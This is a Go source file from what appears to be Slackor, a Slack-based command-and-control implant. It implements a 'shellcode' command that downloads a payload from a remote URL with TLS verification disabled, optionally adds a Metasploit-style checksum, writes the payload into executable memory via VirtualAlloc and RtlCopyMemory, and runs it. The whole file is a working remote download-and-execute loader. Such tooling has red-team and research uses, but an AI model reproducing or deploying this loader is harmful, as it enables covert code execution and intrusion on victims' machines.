github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/pkg/windows/shellcode.go (about)

     1  // +build windows
     2  
     3  package windows
     4  
     5  import (
     6  	"crypto/tls"
     7  	"errors"
     8  	"io/ioutil"
     9  	"math/rand"
    10  	"net/http"
    11  	"os"
    12  	"runtime"
    13  	"strings"
    14  	"syscall"
    15  	"time"
    16  	"unsafe"
    17  
    18  	"github.com/Coalfire-Research/Slackor/internal/config"
    19  	"github.com/Coalfire-Research/Slackor/pkg/command"
    20  )
    21  
    22  func calculateChecksum(Length int) string { //Creates a checksum, used for metasploit
    23  	for {
    24  		rand.Seed(time.Now().UTC().UnixNano())
    25  		var Checksum string
    26  		var RandString string
    27  		for len(RandString) < Length {
    28  			Temp := rand.Intn(4)
    29  			if Temp == 1 {
    30  				RandString += string(48 + rand.Intn(57-48))
    31  			} else if Temp == 1 {
    32  				RandString += string(65 + rand.Intn(90-65))
    33  			} else if Temp == 3 {
    34  				RandString += string(97 + rand.Intn(122-97))
    35  			}
    36  			Checksum = RandString
    37  		}
    38  		var Temp2 int = 0
    39  		for i := 0; i < len(Checksum); i++ {
    40  			Temp2 += int(Checksum[i])
    41  		}
    42  		if (Temp2 % 0x100) == 92 {
    43  			return Checksum
    44  		}
    45  	}
    46  }
    47  
    48  // Initiates an HTTPS request to pull shellcode and execute it
    49  func shellcode(address string, metasploit bool) error {
    50  	const (
    51  		MEM_COMMIT             = 0x1000
    52  		MEM_RESERVE            = 0x2000
    53  		PAGE_EXECUTE_READWRITE = 0x40
    54  	)
    55  
    56  	var (
    57  		kernel32      = syscall.MustLoadDLL("kernel32.dll")
    58  		ntdll         = syscall.MustLoadDLL("ntdll.dll")
    59  		VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
    60  		RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
    61  	)
    62  	if metasploit {
    63  		Checksum := calculateChecksum(12)
    64  		address += Checksum
    65  	}
    66  
    67  	http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
    68  
    69  	client := &http.Client{}
    70  	req, err := http.NewRequest("GET", address, nil)
    71  	if err != nil {
    72  		return err
    73  	}
    74  	if strings.Contains(address, "slack.com") {
    75  		req.Header.Set("Authorization", "Bearer "+config.Token)
    76  	}
    77  	Response, err := client.Do(req)
    78  	if err != nil {
    79  		return err
    80  	}
    81  	shellcode, _ := ioutil.ReadAll(Response.Body)
    82  	if len(os.Args) > 1 {
    83  		shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
    84  		if err != nil {
    85  			return err
    86  		}
    87  		shellcode = shellcodeFileData
    88  	}
    89  	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    90  	if addr == 0 {
    91  		return errors.New("can't allocate memory")
    92  	}
    93  	if err != nil {
    94  		return err
    95  	}
    96  	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    97  	if err != nil {
    98  		return err
    99  	}
   100  	syscall.Syscall(addr, 0, 0, 0, 0)
   101  	return nil
   102  }
   103  
   104  // Shellcode retrieves shellcode and executes it
   105  type Shellcode struct{}
   106  
   107  // Name is the name of the command
   108  func (s Shellcode) Name() string {
   109  	return "shellcode"
   110  }
   111  
   112  // Run retrieves shellcode and executes it
   113  func (s Shellcode) Run(clientID string, jobID string, args []string) (string, error) {
   114  	if len(args) != 1 {
   115  		return "", errors.New("shellcode takes 1 argument")
   116  	}
   117  	if runtime.GOARCH != "386" {
   118  		address := args[0]
   119  		err := shellcode(address, false)
   120  		if err != nil {
   121  			return "", err
   122  		}
   123  	} else {
   124  		return "", errors.New("shellcode module does not work on 32-bit agents")
   125  	}
   126  	return "Shellcode executed.", nil
   127  }
   128  
   129  func init() {
   130  	command.RegisterCommand(Shellcode{})
   131  }